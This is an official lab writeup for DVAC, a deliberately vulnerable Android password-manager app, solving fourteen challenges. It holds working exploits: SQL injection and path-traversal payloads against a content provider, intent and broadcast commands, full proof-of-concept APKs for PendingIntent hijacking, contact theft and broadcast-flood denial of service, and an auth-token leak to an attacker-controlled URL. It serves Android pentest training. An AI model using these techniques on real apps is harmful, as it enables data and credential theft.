The DVAC — Damn Vulnerable Android Components — The sieve APK reborn — Writeup
Hey there Android Hacker! This is the official launch and writeup for the DVAC — Damn Vulnerable Android Components android application.
I will solve the DVAC via various possible way including using drozer, via adb and via manual exploit APK development.
Legal Warning: This Damn Vulnerable Android Components (DVAC) APK is provided for educational and ethical purposes only. Users are solely responsible for ensuring compliance with all applicable laws and regulations, and the developer(s) disclaim any liability for misuse or damage caused by DVAC.
Note: The Functionality Explanation, Setup and Introduction of DVAC — Damn Vulnerable Android Components is provided below after the walkthrough.
Download now — https://github.com/zinja-coder/Damn-Vulnerable-Android-Components/releases
Walk through -
1. Hardcoded Credentials
Open the DVAC apk file in jadx tool.
Open the strings.xml file.
Note the string with ‘backdoor’ name.
Decode the Base64 Encoded String.
Enter the found backdoor string and bypass the login.
2. Bypass Login via Exported Activity
Analyze the Manifest.xml file and look for the exported activities.
Start the exported activity directly to bypass the login.
3. Insecure Storage
Analyze the LoginActivity class and note the ‘isValidPassword()’ method. This method is utilizing share preferences as highlighted below.
Restart the adb as root. (This might not work in physical device. For physcial device adb shell
and then use su
to become root.)
Access the share preferences and get note the stored password. (Note: Although this does not looks like an issue, but in real pentest engagements, such way storing sensitive data such as passwords, API keys are insecure and poses threat. Instead Encrypted Shared Preference should be used — https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences )
4. Insecure Exported Activity With Intent — Changing the password
Analyze the AndroidManifest.xml file. Note the exported activity with intent filter.
Analyze the ChangePasswordActivity class and note the use of intent. It requires two intents — 1. currentPassword & 2. newPassword.
Read the current password from the share preference and change the password using following command.
adb shell am start -n com.zin.dvac/.ChangePasswordActivity --es currentPassword "<current password>" --es newPassword "<new password>"
Any app knowing the password ( or suppose the app has initial default password) can change the user’s password.
5. Changing the Password via Broadcast Receiver
This one is similar to previous, only difference is here, the broadcast receiver is used.
Check the ChangePasswordReceiver class.
Change the password using following command -
adb shell am broadcast -a com.zin.dvac.CHANGE_PASSWORD_ACTION --es currentPassword "SecurePass" --es newPassword "123456" -n com.zin.dvac/.ChangePasswordReceiver
6. SQL Injection Content Provider
Make sure you are not root.
Analyze the AndroidManifest.xml file and look for the provider, here the permission is declared but it is only applied to /passwords, the /passwords/ can still be accessed without any permissions.
Note the permissions -
path is “/passwords” not “/passwords/”
Below is the code as above shown in screen shots.
<provider android:name="com.zin.dvac.PasswordProvider" android:enabled="true" android:exported="true" android:authorities="com.zin.dvac.provider">
<path-permission android:readPermission="com.zin.dvac.READ_PASS" android:writePermission="com.zin.dvac.WRITE_PASS" android:path="/passwords"/>
</provider>
This allows any app to access /passwords/ without any permissions which is same as /passwords
Analyze the PasswordProvider class.
Note the URI of the ContentProvider. Now analyze the CRUD methods.
Note that uri is not sanitized, hence we can insert our own malicious query as uri. From above we can assume that the original query is something like — select * from passwords where id=<id>;
Try to read the content of database using following command
adb shell content query --uri content://com.zin.dvac.provider/passwords --projection "id"
It will throw error as we don’t have permission to read the /passwords content provider.
We can use adb
to interact with the database as follows —
adb shell content query --uri content://com.zin.dvac.provider/passwords/
We can select specific field using --projection
option of the content utility of adb.
Now if we enter following query as error will be thrown —
adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'id,username;'--"
Now try to complete the query
adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'id,username from passwords;'--"
Now, we can insert malicious payloads to perform UNION based SQL injections. First lets get the list of tables in current database.
adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'username from passwords union SELECT name FROM sqlite_master WHERE type=\"table\";'--"
We can then list columns using following query
adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'username from passwords union SELECT sql FROM sqlite_master WHERE type=\"table\" AND name=\"secret\";'--"
We can use the adb
to insert the malicious query as follows to read the flag form secret table.
adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'username from passwords union SELECT flag from secret;'--"
We can also use the --where
option to perform this injection -
adb shell content query --uri content://com.zin.dvac.provider/passwords/ --where "'id=1 union SELECT 1,flag,null,null from secret;'--"
7. Path Traversal Content Provider
Anlyze the PasswordProvider class.
Note that the uri is used without any sanitization. This allows us to read system files via path traversal as following:
adb shell
content read --uri content://com.zin.dvac.provider/../../../../../../../../etc/hosts
By this you can also read files residing inside application’s private data directory as follows:
adb shell content read --uri content://com.zin.dvac.provider/../../../../../../../../data/data/com.zin.dvac/files/secret.txt
8. Exposed Service Over Ports
Analyze the AndroidManifest.xml file.
Analyze the PasswordSocketService class.
This service is exporting the database table over port 1335 without any restrictions.
To exploit this, first expose this port to outside of the android device.
adb forward tcp:1335 tcp:1335
Then we can either use nc
tool or any other tool to make connection with this serivce.
nc 127.0.0.1 1335
Or we can use python to retrieve data.
import socket
host = '127.0.0.1'
port = 1335
socket_object = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_object.connect((host, port))
response = socket_object.recv(1024).decode()
print(response)
socket_object.close()
9. Exposed Service Over Messaging
Analyze the AndroidManifest.xml file.
Analyze the PasswordExportService class.
Using Drozer -
Manual Exploit —
- POCPasswordManager.java —
package com.zin.poc_password;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.Messenger;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
// Define the package and import necessary classes
public class PocPasswordManager extends Activity {
// Messenger for communicating with the service
private Messenger passwordExportService;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.poc_password_manager);
// Bind to the PasswordExportService
Intent intent = new Intent("com.zin.dvac.PASSWORD_EXPORT_ACTION"); // Create an intent to bind to the service with a specific action
intent.setComponent(new ComponentName("com.zin.dvac", "com.zin.dvac.PasswordExportService")); // Set the component name for the service
bindService(intent, connection, Context.BIND_AUTO_CREATE); // Bind to the service with a connection
// Retrieve references to UI elements
Button btnFetchXml = findViewById(R.id.btnFetchXml);
final TextView txtXmlData = findViewById(R.id.txtXmlData);
// Set click listener for the button
btnFetchXml.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
fetchXmlData(txtXmlData); // Call the method to fetch XML data
}
});
}
// Define the connection to the service
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName className, IBinder service) {
passwordExportService = new Messenger(service); // Initialize the Messenger object when the service is connected
}
@Override
public void onServiceDisconnected(ComponentName arg0) {
passwordExportService = null; // Reset the Messenger object when the service is disconnected
}
};
// Use the exported service to fetch XML data
private void fetchXmlData(final TextView txtXmlData) {
if (passwordExportService != null) { // Check if the Messenger object is initialized
// Create a Message with what=1 to request password export
Message message = Message.obtain(null, 1, 0, 0);
// Set the Messenger for the service as the replyTo for the response
message.replyTo = new Messenger(new FetchXmlResponseHandler(txtXmlData));
try {
// Send the message to the service
passwordExportService.send(message);
} catch (Exception e) {
e.printStackTrace(); // Handle exceptions, if any
}
}
}
// Handler to handle the response from the service
private static class FetchXmlResponseHandler extends Handler {
private final TextView txtXmlData;
FetchXmlResponseHandler(TextView txtXmlData) {
this.txtXmlData = txtXmlData; // Initialize the TextView reference
}
@Override
public void handleMessage(Message msg) {
switch (msg.what) {
case 1: // Check the message code
// Received exported XML data from the service
Bundle bundle = msg.getData();
String xmlData = bundle.getString("xmlData"); // Retrieve XML data from the bundle
// Handle the exported XML data as needed
// For example, display it in a TextView
txtXmlData.setText(xmlData); // Set the XML data to the TextView
break;
default:
super.handleMessage(msg); // Call the superclass method for default handling
}
}
}
@Override
protected void onDestroy() {
// Unbind the service when the activity is destroyed
unbindService(connection); // Unbind from the service connection
super.onDestroy(); // Call the superclass method for cleanup
}
}
- poc_password_manager.xml —
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="16dp">
<Button
android:id="@+id/btnFetchXml"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Fetch XML Data" />
<TextView
android:id="@+id/txtXmlData"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="16dp"
android:text="XML Data will appear here"
android:textSize="18sp" />
</LinearLayout>
- AndroidManifest.xml -
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<queries >
<package android:name="com.zin.dvac" />
</queries>
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@drawable/face"
android:label="@string/app_name"
android:roundIcon="@drawable/face"
android:supportsRtl="true"
android:theme="@style/Theme.POCPassword"
tools:targetApi="34" >
<activity android:name=".PocPasswordManager" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
10. Privilege Escalation — Pending Intent
Upon using the DVAC application, note that the application creates a notification, which when clicked upon performs no action and just disappears.
Let’s analyze the application to understand logic behind this notification.
Decompile the APK using Jadx-GUI, Navigate to the Manifest file, Note that the application has permissions to read the contacts.
Analyze where this permission is being used.
Upon analyzing the application, we can see The PasswordManager acitivity triggers notification via pending intent.
As we can see below pending intent is used for creating a notification.
The issue here is it does not specifies the component in pending intent explicitly and flag is mutable.
Due to this, any app can leverage the permissions of the application to elevate its own privileges.
Creating Exploit apk to read contact using DVAC permission -
The exploit flow will be following — Take permission to read notification -> Listen for incoming notification -> hijack the notification intent -> set custom component in hijacked intent -> read the contacts.
First let us see the working of exploit APK.
- Take permission to read the notifications.
2. Trigger the notification from DVAC.
3. The Exploit app has read the contacts without any permissions.
Following is the code for POC application -
Required Files:
- AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@drawable/face"
android:label="@string/app_name"
android:roundIcon="@drawable/face"
android:supportsRtl="true"
android:theme="@style/Theme.PendingIntent"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.zin.pendingintent.ListenService" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" android:exported="true">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService"/>
</intent-filter>
</service>
<activity android:name="com.zin.pendingintent.ReadAndDisplayContanctsActivity" android:exported="true">
<intent-filter>
<action android:name="MY.ACTION"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
</application>
</manifest>
Below acitivity takes permission from user to read the notifications.
- MainActivity.java
package com.zin.pendingintent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.view.View;
import android.widget.Button;
public class MainActivity extends AppCompatActivity {
// Button for opening notification listener settings
Button btnNotif;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Find the Button with ID R.id.notif
Button button = findViewById(R.id.notif);
this.btnNotif = button;
// Set click listener for the button
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// Create an intent to open Notification Listener settings
Intent intent = new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS");
// Start the activity to open Notification Listener settings
MainActivity.this.startActivity(intent);
}
});
}
}
- activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<Button
android:id="@+id/notif"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Enable Notification Access" />
</LinearLayout>
This activity is used to read and display the contact on UI.
- ReadAndDisplayContanctsActivity.java
package com.zin.pendingintent;
import android.app.Activity;
import android.content.ClipData;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.widget.TextView;
public class ReadAndDisplayContanctsActivity extends Activity {
// URI to store contacts uri
private Uri contactsUri;
// TextView to display contacts information in the UI
private TextView textView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Set the layout for the activity
setContentView(R.layout.read_and_display_contacts_activity);
// Initialize the TextView for displaying contacts
textView = findViewById(R.id.contacts);
// Retrieve the intent that started the activity
Intent intent = getIntent();
// Extract the ClipData from the intent, if available
ClipData clipData = intent.getClipData();
// Set the URI to the first item in the ClipData, if available
contactsUri = clipData.getItemAt(0).getUri();
// StringBuilder to store contact information
StringBuilder contactsInfo = new StringBuilder();
// Cursor to query the media provider for contact information
Cursor cursor = getContentResolver().query(contactsUri, null, null, null, null);
try {
// Iterate through the cursor to retrieve contact details
while (cursor.moveToNext()) {
String name = cursor.getString(cursor.getColumnIndex("name"));
String number = cursor.getString(cursor.getColumnIndex("number"));
// Append contact information to the StringBuilder
contactsInfo.append(name).append(":").append(number).append("\n");
}
cursor.close();
} catch (Throwable th) {
// Log any exceptions or errors
th.printStackTrace();
}
textView.setText(contactsInfo.toString());
}
}
- activity.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<TextView
android:id="@+id/contacts"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Exploit Street Notification PendingIntent" />
</LinearLayout>
This service listen for any notification and perform exploit if notfication is from DVAC and it is pending notification.
- ListenService.java
package com.zin.pendingintent;
import android.app.PendingIntent;
import android.content.ClipData;
import android.content.Intent;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.net.Uri;
public class ListenService extends NotificationListenerService {
@Override
public void onNotificationPosted(StatusBarNotification statusBarNotification) {
// Check if the notification is from the desired package
if (!statusBarNotification.getPackageName().equals("com.zin.dvac")) {
return; // Ignore notifications from other packages
}
// Get the content intent from the notification
PendingIntent pendingIntent = statusBarNotification.getNotification().contentIntent;
// Create an intent to hijack the notification action
Intent hijackIntent = new Intent();
hijackIntent.setPackage("com.zin.pendingintent");
hijackIntent.setAction("MY.ACTION");
// Set clip data with a raw URI to content://contacts/people
hijackIntent.setClipData(ClipData.newRawUri(null, Uri.parse("content://contacts/people")));
// Set flags to the intent
hijackIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
// Send the hijackIntent using the original PendingIntent
try {
// Send the hijackIntent as a replacement for the original PendingIntent
pendingIntent.send(getApplicationContext(), 0, hijackIntent, null, null);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
}
}
11. Denial Of Service via Broadcast Receiver
Note that the application is listening for ACTION_SHUTDOWN to gracefully close the application.
But the receiver class does not validates the actual intent.
It triggers the app to close and save the data.
Here the problem is that above code is checking what kind of broadcast it has receiving and whether is it actually coming from system or not, this means any app can send any broadcast to this receiver to force to it stop even if the mobile is not shutting down.
Following is the POC application
Required Files —
Following is the code for above POC apk.
- MainAcitivity.java
package com.zin.dospoc;
import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Set the layout for the activity
setContentView(R.layout.activity_main);
// Start the SendService
startSendService();
}
// Method to start the SendService
public void startSendService() {
// Create an Intent to start the SendService
Intent serviceIntent = new Intent(this, SendService.class);
// Start the service using the created Intent
startService(serviceIntent);
}
}
Must reside in res/layouts
- activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/main"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="DOS POC"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>
- SendService.java
package com.zin.dospoc;
import android.app.Service;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;
public class SendService extends Service {
// Action string for the broadcast
private static final String ACTION_GARBAGE_RANDOM = "garbage.random.ACTION";
// Handler and Runnable for scheduling broadcast sending
private Handler mHandler;
private Runnable mRunnable;
@Override
public void onCreate() {
super.onCreate();
// Initialize Handler and Runnable
mHandler = new Handler();
mRunnable = new Runnable() {
@Override
public void run() {
// Call method to send broadcast
sendBroadcastToReceiver();
// Log message indicating broadcast sent
Log.d("send", "Broadcast sent");
// Schedule the next execution of the Runnable after 3000 milliseconds (3 seconds)
mHandler.postDelayed(this, 3000);
}
};
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Log message indicating service started
Log.d("SendService", "Service started");
// Start the Runnable immediately
mHandler.postDelayed(mRunnable, 0);
// Return START_NOT_STICKY to ensure the service does not restart automatically if killed by the system
return START_NOT_STICKY;
}
@Override
public IBinder onBind(Intent intent) {
// Return null as this service does not support binding
return null;
}
// Method to send broadcast to receiver
private void sendBroadcastToReceiver() {
// Create an Intent with the specified action
Intent intent = new Intent();
intent.setAction(ACTION_GARBAGE_RANDOM);
// Set the component name to specify the receiver's package and class
intent.setComponent(new ComponentName("com.zin.dvac", "com.zin.dvac.ShutDownReceiver"));
// Send the broadcast
sendBroadcast(intent);
}
}
- AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<application android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@drawable/face"
android:label="@string/app_name"
android:roundIcon="@drawable/face"
android:supportsRtl="true"
android:theme="@style/Theme.DOSPoc"
tools:targetApi="31">
<activity android:name=".MainActivity"
android:exported="true">
<intent-filter> <action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter> </activity> <service android:name=".SendService"
android:exported="true"
android:enabled="true">
</service> </application>
</manifest>
12. Broadcast Sniffing
Analyze the AndroidManifest file and note that the ChangePasswordReceiver and its action.
In PasswordMangerActivity, it sends the same broadcast.
We can use the drozer to sniff the exposed Broadcasts, to fetch sensitive data.
Go to PasswordMangerActivity and trigger the broadcast.
The drozer has successfully sniffed the broadcast and its content.
13. Access Non-Exported Activity
Now select the Manifest file from right hand menu
Note that the AuthActivity is not exported.
Select the AuthActivity from right hand corner.
It receives intent with uri to display the web page. But also note that there is Auth
header with token too, now this activity contains sensitive information/performing sensitive information.
Further analyze the exported activities and check which activity is starting this activity. The PasswordMangerActivity behaves as a proxy component to interact with AuthActivity as PasswordManagerActivity is exported we can start AuthActivity via PasswordManagerActivity.
And note that it is starting the AuthActivity.
From above code, we can see that it PasswordManagerActivity is expecting an intent with webUri
data. When it receives the intent it forwards it to handleIncomingIntent(incomingIntent)
method.
As we can see in below code, this metod starts the takes the intent and passes it to the WebViewActivity, hence starting this activity.
After understanding the logic, we can exploit it as follows — 1. Start the exported activity, 2. Pass an intent to the exported activity to start the non-exported activity, 3. Make it perform sensitive operation and steal the auth token.
Go to following web app — https://app.interactsh.com/#/
(or any site with similar functionality or burp suite collaborator) and copy following URL.
Use the following to trigger the exploit.
adb shell am start -n com.zin.dvac/.PasswordManagerActivity --es "webUri" "<Copied URL>"
The non-exported activity has been started.
We got the auth token on our controlled domain.
14. Access Non-Exported Content Provider
Investigate the AndroidManifest.xml file. Observe “android:grantUriPermissions” is set to true.
Open the SecretFileProvider activity. Observe the openFile function accepts URI which is not validated, meaning any URI can be passed.
But the exported flag for this activity is set to false. We need to look for a way to call this provider from a proxy activity. Notice the following activity.
Observe in this activity setResult method is called with getIntent(), it sets the result and returns the intent that started the activity.
Creating a POC APK to exploit Content provider — [Note: following is not full code prepare your own APK from below code]
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setData(Uri.parse("content://com.zin.dvac.secret/data/data/com.zin.dvac/files/secret.txt"));
intent.setClassName("com.zin.dvac","com.zin.dvac.SecretFileActivity");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivityForResult(intent,0);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (data != null && data.getData() != null) {
String result;
try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
result = reader.readLine();
Log.d("Flag", result);
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
}
Observe that the data of secret file is printed in log.
What is DVAC?
Damn Vulnerable Android Components (DVAC) is an educational Android application intentionally designed to expose and demonstrate vulnerabilities related to various Android components such as Activities, Intents, Content Providers, and Broadcast Receivers. It is structured as a password manager application to manage and store passwords securely (LOL). It is inspired from sieve password manager (another vulnerable android application focusing on android components vulerabilities).
- Tested on both virtual and physical devices
- Tested on Android v12
Download & Install
1. Download the latest release from Releases- https://github.com/zinja-coder/Damn-Vulnerable-Android-Components/releases
2. Install it either by drag and drop if you are using a virtual device or using adb:
adb install DVAC.apk
Why I developed this Lab?
Sieve was the application which is usually used to demonstrate the working of the Drozer application. But It is old now and don’t work properly on newer android versions. That is the reason I have developed this application which is inspired from sieve applicaiton containing similar vulnerabilities but works on android version upto 12. Hence sieve reborn!
DVAC aims to provide similar functionality while working on modern Android versions. DVAC provides a hands-on learning experience for beginners in Android pentesting and cybersecurity and developed while keeping beginners who find it difficulty to get proper lab for learning android pentesting.
DVAC Functionality —
The DVAC is inspired from SIEVE application. It is vary simple password manager app.
On first launch, user will be greeted with Welcome Activity. Register your login password here and click on ‘Register’ button.
Next screen will be the login screen. Enter the registered password to proceed further.
Now you are in main screen. Please allow access to contacts.
This is the main activity of the DVAC — ( Damn Vulnerable Android Components ).
It contains six buttons -
- Add New Password
- Export Database
- Import Database
- Change Password
- Fetch XML Format
- Vulnerabilities
At the bottom right corner we have floating button which will redirect to Developer’s github profile.
- ADD NEW PASSWORD —
Clicking on the ‘ADD NEW PASSWORD’ button will start new activity which allows users to add new password.
Enter the Username, Password and Description.
Click on ‘ADD NEW PASSWORD’ button to store the password.
The stored password can be seen in main screen.
Clicking on ‘DELETE’ button will delete the stored password.
As you can see password deleted successfully.
All of the stored password will be displayed on the main screen.
Clicking on the any username will redirect to detailed details of that password.
As you can see, we can see the details of the password. From here also we can delete this password.
2. EXPORT DATABASE
Second button is ‘EXPORT DATABASE’, clicking on this button will export the passwords in xml file.
If not provided, clicking on this button will ask for access to storage permission to store the passwords in xml file. Click on ALLOW.
After providing the permission, click on ‘EXPORT DATABASE’ again.
Enter file name and click on ‘save’.
Database (passwords) will be exported successfully.
3. IMPORT DATABASE —
Third button is ‘IMPORT DATABASE’, it imports the exported passwords from xml file.
Select the XML file to import.
And the passwords will be imported.
4. FETCH XML FORMAT —
Fourth button is ‘FETCH XML FORMAT’, click on it to go to the respective screen.
This Activity allows you to fetch the stored passwords in the xml format. Click on the ‘FETCH XML’ button.
The stored passwords will be printed on the screen in xml format.
5. CHANGE PASSWORD —
The fifth button is ‘CHANGE PASSWORD’ button, it allows you to change your login password.
Enter your current password and new password.
Click on ‘CHANGE’ button.
Click on ‘CHANGE PASSWORD’ button.
Password will be changed successfully.
6. VULNERABILITIES —
The last button is ‘VULNERABILITIES’ which shows the list of vulnerabilities along with their hints.
As you can see below.
That’s it. The functionality of the DVAC is beginner friendly and extremely simple to meet the requirements of the new comers in field of Android Hacking.
Setting up the tools
Drozer — https://hub.docker.com/r/withsecurelabs/drozer
Android Studio — https://developer.android.com/studio
JadxGUI — https://github.com/skylot/jadx
ADB — https://developer.android.com/tools/releases/platform-tools
Contribute
Contributions to DVAC are welcome and encouraged! You can contribute to the project in the following ways:
Report Bugs: If you encounter any bugs or issues while using DVAC, please open an issue on GitHub. This helps us identify and fix problems quickly.
Fix Issues: If you’re a developer, consider fixing open issues in the repository. Your contributions can improve the overall quality of DVAC.
Enhancements: You can suggest enhancements or new features by creating an issue on GitHub. We value your input and ideas for making DVAC better.
Feedback: Share your feedback and suggestions for improving DVAC. Your input helps us understand how users are using the app and how we can make it more useful.
Spread the Word: Help us reach more people by sharing DVAC on social media, with your friends and colleagues, and in communities interested in Android pentesting and cybersecurity.
Spread the Word!
Contributions are extremely easy to do and as equally important. All you have to do is -
1. Star the Repository
If you find DVAC useful, consider starring the GitHub repository. This simple action helps raise awareness of the project among other Android Pentesters, developers and enthusiasts.
2. Share with Others
Share DVAC with your friends, colleagues, and on social media platforms. Spread the word about this educational tool to help more people learn about Android pentesting and cybersecurity.
3. Write Write-ups and Tutorials
Write-ups and tutorials about your experiences with DVAC can be incredibly valuable. Share your insights, tips, and tricks for using the app effectively. These resources can help others understand the vulnerabilities better and learn how to mitigate them.
4. Make its Presence Known on Social Media
Share DVAC on social media platforms like Twitter, LinkedIn, and others. Use hashtags related to cybersecurity, Android development, and pentesting to reach a wider audience. Your posts can encourage others to explore the app and contribute to its development.
Contributing to DVAC is easy and can be done in many ways. Your support and contributions are highly appreciated and help make DVAC a better learning resource for everyone.
License
DVAC is licensed under the GNU General Public License (GPL), which means that it is open-source software and can be freely used, modified, and distributed by anyone. You can find the full text of the license in the LICENSE file in the repository.
Support
Found above post informative? Learned something new? Why not support me. Kindly support my work via ko-fi -> https://ko-fi.com/zinjacoder
Contact
If you have any questions, suggestions, or feedback, feel free to connect with me on:
LinkedIn: jafar-pathan
Twitter: @zinja_coder
Threads: jafar.khan.pathan_
My Other Project
Check out my other project:
The Browser Bruter: The FIRST-EVER! browser-based web application penetration testing tool.
My Other Blogs
How to Create Documentation for your next hacking tool!
The Curse Of Encryption — Unleashing The Browser Bruter
Solving TryHackMe’s Malware and Reverse Engineering Challenges — Dear Q
Hey Hacker, Thank You So Much For Reading!